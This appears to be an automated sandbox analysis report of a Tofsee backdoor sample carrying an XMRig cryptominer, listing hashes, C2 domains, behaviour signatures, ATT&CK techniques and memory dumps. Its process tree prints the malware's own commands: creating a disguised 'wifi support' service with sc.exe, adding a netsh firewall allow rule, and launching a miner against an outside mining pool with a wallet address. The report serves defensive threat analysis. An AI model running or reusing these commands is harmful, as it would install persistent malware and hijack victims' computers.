Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    05-06-2022 12:02

General

  • Target

    07b4f23ccc186d69b14f6108debf10c638d59fb0fedc73005392f7341d0bda98.exe

  • Size

    266KB

  • MD5

    12a01b885bb6b151cf2d044732e20af2

  • SHA1

    825ab21f3c69f9e0f614731a7c9592bbfc2da50d

  • SHA256

    07b4f23ccc186d69b14f6108debf10c638d59fb0fedc73005392f7341d0bda98

  • SHA512

    25f88dee5d18350afe0dcc37d25269f93737d57a2ea01fc30c3cc8bf7fa9e724a48bfad5b5701a6c85374eb7e9e4b740d8963f554475a5d566eba147d056576d

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\07b4f23ccc186d69b14f6108debf10c638d59fb0fedc73005392f7341d0bda98.exe
    "C:\Users\Admin\AppData\Local\Temp\07b4f23ccc186d69b14f6108debf10c638d59fb0fedc73005392f7341d0bda98.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:4484
  • C:\Users\Admin\AppData\Local\Temp\8B48.exe
    C:\Users\Admin\AppData\Local\Temp\8B48.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:100
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\swzskyjk\
      2⤵
        PID:2420
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\tbhuzcvq.exe" C:\Windows\SysWOW64\swzskyjk\
        2⤵
          PID:448
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create swzskyjk binPath= "C:\Windows\SysWOW64\swzskyjk\tbhuzcvq.exe /d\"C:\Users\Admin\AppData\Local\Temp\8B48.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4792
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description swzskyjk "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start swzskyjk
          2⤵
          • Launches sc.exe
          PID:3044
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3536
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 100 -s 1044
          2⤵
          • Program crash
          PID:4352
      • C:\Windows\SysWOW64\explorer.exe
        C:\Windows\SysWOW64\explorer.exe
        1⤵
          PID:3792
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3792 -s 872
            2⤵
            • Program crash
            PID:5024
        • C:\Windows\explorer.exe
          C:\Windows\explorer.exe
          1⤵
            PID:4460
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -pss -s 208 -p 3792 -ip 3792
            1⤵
              PID:1680
            • C:\Windows\SysWOW64\swzskyjk\tbhuzcvq.exe
              C:\Windows\SysWOW64\swzskyjk\tbhuzcvq.exe /d"C:\Users\Admin\AppData\Local\Temp\8B48.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2752
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Sets service image path in registry
                • Drops file in System32 directory
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1440
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4676
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 2752 -s 532
                2⤵
                • Program crash
                PID:468
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 100 -ip 100
              1⤵
                PID:3484
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 2752 -ip 2752
                1⤵
                  PID:3944

                Network

                MITRE ATT&CK Matrix ATT&CK v6

                Persistence

                New Service

                1
                T1050

                Modify Existing Service

                1
                T1031

                Registry Run Keys / Startup Folder

                1
                T1060

                Privilege Escalation

                New Service

                1
                T1050

                Defense Evasion

                Modify Registry

                1
                T1112

                Discovery

                Query Registry

                2
                T1012

                System Information Discovery

                3
                T1082

                Peripheral Device Discovery

                1
                T1120

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\8B48.exe
                  Filesize

                  266KB

                  MD5

                  573b4d1509a8e28f3c823538332f9cd1

                  SHA1

                  1cbc4336f626fb0faa85d0309e8338b4ad5b0adb

                  SHA256

                  a2ecea288c6585f8c9d92d206781d1db7354db86ba8d5edfee14862d55f76d41

                  SHA512

                  2b69ee51d626bd2ae09f02e29793428648c818549afe5a034e62f06f8d7920f062d4914cc4876b8d89bd36ada7cacf10ea577e42e7d213dbc934ee198385a3b7

                • C:\Users\Admin\AppData\Local\Temp\8B48.exe
                  Filesize

                  266KB

                  MD5

                  573b4d1509a8e28f3c823538332f9cd1

                  SHA1

                  1cbc4336f626fb0faa85d0309e8338b4ad5b0adb

                  SHA256

                  a2ecea288c6585f8c9d92d206781d1db7354db86ba8d5edfee14862d55f76d41

                  SHA512

                  2b69ee51d626bd2ae09f02e29793428648c818549afe5a034e62f06f8d7920f062d4914cc4876b8d89bd36ada7cacf10ea577e42e7d213dbc934ee198385a3b7

                • C:\Users\Admin\AppData\Local\Temp\tbhuzcvq.exe
                  Filesize

                  13.5MB

                  MD5

                  374b54d1b576e9f54c876e8f727cfd64

                  SHA1

                  c4978f9cbd289f71e0cd97c024221cec211625b4

                  SHA256

                  a302be4ea01563c4ca6f35c27ca3d18497ed783588953140a49ba1ad86cdab48

                  SHA512

                  c33d392f2bf15cec894d82476052eacfe0f9d7ddfa072dd1cced4a6d2ee46b26f054af0919f34fce49e33b8a57e17bd7e0febba53bc7244ffe812f64af33a849

                • C:\Windows\SysWOW64\swzskyjk\tbhuzcvq.exe
                  Filesize

                  13.5MB

                  MD5

                  374b54d1b576e9f54c876e8f727cfd64

                  SHA1

                  c4978f9cbd289f71e0cd97c024221cec211625b4

                  SHA256

                  a302be4ea01563c4ca6f35c27ca3d18497ed783588953140a49ba1ad86cdab48

                  SHA512

                  c33d392f2bf15cec894d82476052eacfe0f9d7ddfa072dd1cced4a6d2ee46b26f054af0919f34fce49e33b8a57e17bd7e0febba53bc7244ffe812f64af33a849

                • memory/100-155-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/100-153-0x0000000003133000-0x0000000003144000-memory.dmp
                  Filesize

                  68KB

                • memory/100-134-0x0000000000000000-mapping.dmp
                • memory/100-137-0x0000000003133000-0x0000000003144000-memory.dmp
                  Filesize

                  68KB

                • memory/100-138-0x0000000002F10000-0x0000000002F23000-memory.dmp
                  Filesize

                  76KB

                • memory/100-140-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/448-141-0x0000000000000000-mapping.dmp
                • memory/1440-162-0x0000000000A60000-0x0000000000A75000-memory.dmp
                  Filesize

                  84KB

                • memory/1440-165-0x0000000002800000-0x0000000002A0F000-memory.dmp
                  Filesize

                  2.1MB

                • memory/1440-180-0x0000000002DE0000-0x0000000002DE7000-memory.dmp
                  Filesize

                  28KB

                • memory/1440-177-0x0000000007800000-0x0000000007C0B000-memory.dmp
                  Filesize

                  4.0MB

                • memory/1440-174-0x0000000002DD0000-0x0000000002DD5000-memory.dmp
                  Filesize

                  20KB

                • memory/1440-171-0x0000000001FF0000-0x0000000002000000-memory.dmp
                  Filesize

                  64KB

                • memory/1440-168-0x0000000001FE0000-0x0000000001FE6000-memory.dmp
                  Filesize

                  24KB

                • memory/1440-164-0x0000000000A60000-0x0000000000A75000-memory.dmp
                  Filesize

                  84KB

                • memory/1440-157-0x0000000000A60000-0x0000000000A75000-memory.dmp
                  Filesize

                  84KB

                • memory/1440-156-0x0000000000000000-mapping.dmp
                • memory/1700-149-0x0000000000000000-mapping.dmp
                • memory/2420-139-0x0000000000000000-mapping.dmp
                • memory/2752-158-0x0000000002DEE000-0x0000000002DFE000-memory.dmp
                  Filesize

                  64KB

                • memory/2752-163-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/2752-161-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/3044-150-0x0000000000000000-mapping.dmp
                • memory/3536-151-0x0000000000000000-mapping.dmp
                • memory/3792-142-0x0000000000000000-mapping.dmp
                • memory/3792-144-0x0000000000570000-0x00000000005E4000-memory.dmp
                  Filesize

                  464KB

                • memory/3792-154-0x0000000000500000-0x000000000056B000-memory.dmp
                  Filesize

                  428KB

                • memory/3792-145-0x0000000000500000-0x000000000056B000-memory.dmp
                  Filesize

                  428KB

                • memory/4460-147-0x0000000000000000-mapping.dmp
                • memory/4460-148-0x00000000003E0000-0x00000000003EC000-memory.dmp
                  Filesize

                  48KB

                • memory/4484-132-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/4484-130-0x0000000003052000-0x0000000003062000-memory.dmp
                  Filesize

                  64KB

                • memory/4484-131-0x00000000001F0000-0x00000000001F9000-memory.dmp
                  Filesize

                  36KB

                • memory/4484-133-0x0000000000400000-0x0000000002DBA000-memory.dmp
                  Filesize

                  41.7MB

                • memory/4676-183-0x0000000000000000-mapping.dmp
                • memory/4676-184-0x0000000001000000-0x00000000010F1000-memory.dmp
                  Filesize

                  964KB

                • memory/4676-189-0x0000000001000000-0x00000000010F1000-memory.dmp
                  Filesize

                  964KB

                • memory/4792-146-0x0000000000000000-mapping.dmp